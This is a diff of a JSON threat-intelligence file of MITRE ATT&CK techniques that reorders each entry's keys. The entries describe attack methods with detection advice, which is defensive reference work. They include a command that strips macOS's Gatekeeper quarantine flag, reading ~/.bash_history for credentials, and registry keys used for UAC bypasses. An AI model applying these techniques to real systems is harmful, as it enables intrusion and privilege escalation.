"description": "The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded DLLs\n\nContributors: ENDGAME",
- "value": "Component Object Model Hijacking",
"meta": {
"mitre_data_sources": [
"Windows Registry",
"DLL monitoring",
"Loaded DLLs"
],
- "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1122",
- "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "https://msdn.microsoft.com/library/ms694363.aspx",
- "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2041,22 +2039,23 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1122",
+ "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
+ "https://msdn.microsoft.com/library/ms694363.aspx",
+ "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com"
+ ],
+ "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69"
+ },
+ "value": "Component Object Model Hijacking"
},
{
"description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]] \n\n===Mac===\n\nOSX provides a native command, pbpaste, to grab clipboard contents [[Citation: Operating with EmPyre]].\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: API monitoring",
- "value": "Clipboard Data",
"meta": {
"mitre_data_sources": [
"API monitoring"
],
- "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1115",
- "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/",
- "https://msdn.microsoft.com/en-us/library/ms649012"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2073,23 +2072,23 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1115",
+ "http://www.rvrsh3ll.net/blog/empyre/operating-with-empyre/",
+ "https://msdn.microsoft.com/en-us/library/ms649012"
+ ],
+ "uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f"
+ },
+ "value": "Clipboard Data"
},
{
"description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe.InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith",
- "value": "InstallUtil",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1118",
- "https://msdn.microsoft.com/en-us/library/50614e95.aspx",
- "https://github.com/subTee/AllTheThings"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2103,12 +2102,18 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1118",
+ "https://msdn.microsoft.com/en-us/library/50614e95.aspx",
+ "https://github.com/subTee/AllTheThings"
+ ],
+ "uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b"
+ },
+ "value": "InstallUtil"
},
{
"description": "Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis",
- "value": "Data Obfuscation",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -2116,11 +2121,6 @@
"Process monitoring",
"Network protocol analysis"
],
- "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1001",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2137,22 +2137,23 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1001",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842"
+ },
+ "value": "Data Obfuscation"
},
{
"description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Shortcut Modification",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1023"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2166,12 +2167,16 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1023"
+ ],
+ "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810"
+ },
+ "value": "Shortcut Modification"
},
{
"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata",
- "value": "Obfuscated Files or Information",
"meta": {
"mitre_data_sources": [
"Network protocol analysis",
@@ -2180,10 +2185,6 @@
"Malware reverse engineering",
"Binary file metadata"
],
- "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1027"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2197,22 +2198,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1027"
+ ],
+ "uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a"
+ },
+ "value": "Obfuscated Files or Information"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, File monitoring, API monitoring",
- "value": "Video Capture",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"File monitoring",
"API monitoring"
],
- "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1125"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2226,41 +2227,40 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1125"
+ ],
+ "uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf"
+ },
+ "value": "Video Capture"
},
{
"description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].\n\nDetection: Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further.\n\nPlatforms: MacOS, OS X",
- "value": "Gatekeeper Bypass",
"meta": {
"mitre_platforms": [
"MacOS",
"OS X"
],
- "uuid": "05886665-fc7e-4a3d-847f-500e0112aac7",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1144",
"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
- ]
- }
+ ],
+ "uuid": "05886665-fc7e-4a3d-847f-500e0112aac7"
+ },
+ "value": "Gatekeeper Bypass"
},
{
"description": "Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\\Windows\\System32) or named with a common name (such as \"explorer.exe\" or \"svchost.exe\") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.\n\nDetection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the binary name on disk and the binary's resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Binary file metadata\n\nContributors: ENDGAME",
- "value": "Masquerading",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Binary file metadata"
],
- "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1036",
- "https://www.endgame.com/blog/how-hunt-masquerade-ball"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2277,24 +2277,23 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1036",
+ "https://www.endgame.com/blog/how-hunt-masquerade-ball"
+ ],
+ "uuid": "42e8de7b-37b2-4258-905a-6897815e58e0"
+ },
+ "value": "Masquerading"
},
{
"description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs",
- "value": "DLL Side-Loading",
"meta": {
"mitre_data_sources": [
"Process use of network",
"Process monitoring",
"Loaded DLLs"
],
- "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1073",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
- "https://msdn.microsoft.com/en-us/library/aa375365"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2308,22 +2307,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1073",
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
+ "https://msdn.microsoft.com/en-us/library/aa375365"
+ ],
+ "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09"
+ },
+ "value": "DLL Side-Loading"
},
{
"description": "Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process use of network",
- "value": "Automated Exfiltration",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process use of network"
],
- "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1020"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2340,12 +2341,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1020"
+ ],
+ "uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9"
+ },
+ "value": "Automated Exfiltration"
},
{
"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters",
- "value": "Network Service Scanning",
"meta": {
"mitre_data_sources": [
"Netflow/Enclave netflow",
@@ -2354,10 +2359,6 @@
"Process use of network",
"Process command-line parameters"
],
- "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1046"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2371,12 +2372,16 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1046"
+ ],
+ "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88"
+ },
+ "value": "Network Service Scanning"
},
{
"description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network",
- "value": ".bash_profile and .bashrc",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -2384,50 +2389,46 @@
"Process command-line parameters",
"Process use of network"
],
- "uuid": "1aeb52d6-ae80-42bf-ade8-c2635190837d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1156"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1156"
+ ],
+ "uuid": "1aeb52d6-ae80-42bf-ade8-c2635190837d"
+ },
+ "value": ".bash_profile and .bashrc"
},
{
"description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]\n\nDetection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like cat ~/.bash_history.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "Bash History",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "2f54ae97-ac8b-4401-85ed-215cfa0a380f",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1139",
- "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
- ],
"mitre_platforms": [
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1139",
+ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
+ ],
+ "uuid": "2f54ae97-ac8b-4401-85ed-215cfa0a380f"
+ },
+ "value": "Bash History"
},
{
"description": "Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.\n\nDetection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information [[Discovery]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Data loss prevention",
- "value": "Replication Through Removable Media",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Data loss prevention"
],
- "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1091"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2441,24 +2442,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1091"
+ ],
+ "uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4"
+ },
+ "value": "Replication Through Removable Media"
},
{
"description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for [[Persistence]].[[Citation: Alperovitch Malware]]\n\nDetection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring",
- "value": "Remote Desktop Protocol",
"meta": {
"mitre_data_sources": [
"Authentication logs",
"Netflow/Enclave netflow",
"Process monitoring"
],
- "uuid": "51dea151-0898-4a45-967c-3ebee0420484",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1076",
- "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
- "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2472,22 +2471,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1076",
+ "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx",
+ "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
+ ],
+ "uuid": "51dea151-0898-4a45-967c-3ebee0420484"
+ },
+ "value": "Remote Desktop Protocol"
},
{
"description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring",
- "value": "Scheduled Transfer",
"meta": {
"mitre_data_sources": [
"Netflow/Enclave netflow",
"Process use of network",
"Process monitoring"
],
- "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1029"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2504,12 +2505,16 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1029"
+ ],
+ "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466"
+ },
+ "value": "Scheduled Transfer"
},
{
"description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nContributors: Stefan Kanthak, Casey Smith",
- "value": "Bypass User Account Control",
"meta": {
"mitre_data_sources": [
